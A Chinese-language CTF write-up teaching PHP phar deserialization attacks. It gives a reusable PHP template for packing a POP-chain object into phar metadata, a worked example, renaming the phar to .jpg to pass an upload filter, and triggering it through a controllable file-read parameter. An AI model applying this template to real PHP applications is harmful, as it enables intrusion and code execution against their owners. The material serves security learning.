目录
1、认识phar类型文件
2、制作phar文件
3、phar的上传与读取
4、漏洞利用的条件
1、认识phar类型文件
这种文件可以通过phar协议来读取(使用phar://后面接文件路径即可读取)
先给大家看一下phar文件的大致样子:
它一般包括头部信息:<?php __HALT_COMPILER(); ?>
中间包括manifest(phar文件的属性等信息):以序列化的方式存储
当读取phar文件时,会自动反序列化manifest中的字符串
2、制作phar文件
注意:制作phar文件的php环境需要>5.0,并且设置php.ini中:phar.readonly=Off,否则会报readonly的错误,php.ini在你安装PHPstudy的路径下。
这里还可能遇到一个问题,就是你装的VS扩展有东西可能没配置好
会出现就算你改成了off也可能无法生成phar文件
可以尝试下面修改:
phar前面不能有 “ ; ” 有的话要删掉
使用下面模板
<?php
//------这个区域放构造链中需要的类,来源于题目
class XXX{
}
//------------ -------------
//构造POP链
$o = new XXX();
$o->X = "XX";
//链子构造之后不用serialize(),因为下面的setMatadata会自动序列化
//开始制作phar文件
@unlink("my.phar"); //删除之前的my.phar文件(如果有)
$phar = new Phar("my.phar"); //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering(); //开始写文件
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //写入stu头部信息
$phar->setMetadata($o); //重点!!将构造好的链子写入meta-data也就是manifest字段,这里会自动进行序列化,因此传入链头就行。其实可以理解为serialize($o);
$phar->addFromString("my.txt", "my");
$phar->stopBuffering();
?>
我们来看一道例题
简单审计一下代码还是很简单的,只需要触发__destruct()函数即可
__destruct() 是析构函数,在对象的所有引用被删除或者当对象被显式销毁时执行的魔术方法
比如new一个对象,当创建完成之后就不引用了,如果有赋值指向就会立马丢弃,触发destruct, unserialize()反序列化一个对象,完成之后也会丢弃这个对象。
因此,这里我们只需要new一下就可以触发__destruct()函数
构造pop链:
$t = new TestObject();
$t就是链头,将pop链和链头都添加进我们的脚本模块
再将题目中的类TestObject添加到我们的模块,如下:
<?php
//------这个区域放构造链中需要的类,来源于题目
class TestObject {
public function __destruct() {
include('flag.php');
echo $flag;
}
}
//------------ -------------
//构造POP链
$t = new TestObject();
//链子构造之后不用serialize(),因为下面的setMatadata会自动序列化
//开始制作phar文件
@unlink("my.phar"); //删除之前的my.phar文件(如果有)
$phar = new Phar("my.phar"); //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering(); //开始写文件
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //写入stu头部信息
$phar->setMetadata($t); //重点!!将构造好的链子写入meta-data也就是manifest字段,这里会自动进行序列化,因此传入链头就行。其实可以理解为serialize($o);
$phar->addFromString("my.txt", "my");
$phar->stopBuffering();
?>
因此,在做这类题的时候,我们套用模板只需要修改这三个地方
运行之后我们得到了一个phar文件
至此,我们已经掌握了phar文件的制作方法
3、phar的上传与读取
题目给了upload.php路径,我们直接访问
直接上传phar文件发现没有上传成功
经过尝试后发现这里是需要传jpg类型
我们直接修改phar文件的后缀,修改成符合要求的后缀
(顺便说一下,这个后缀对我们的phar文件没有任何影响,根据题目来就行,要求传zip、png、jpg还是其他类型,修改成对应的后缀就行)
上传成功,且得到了文件所在路径
这个时候我们再去读取这个phar文件
题目要求使用post方式给file传值
即可拿到我们想要的东西
ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}
4、漏洞利用的条件
(1)能上传文件到服务器 ,无论是什么类型的文件,只要能上传文件就行
(2)具备可利用的反序列链
(3)能具有读取文件操作的函数并且函数中的参数可控比如file_get_contens($filename),$filename可控。
重点和难点还是pop链的构造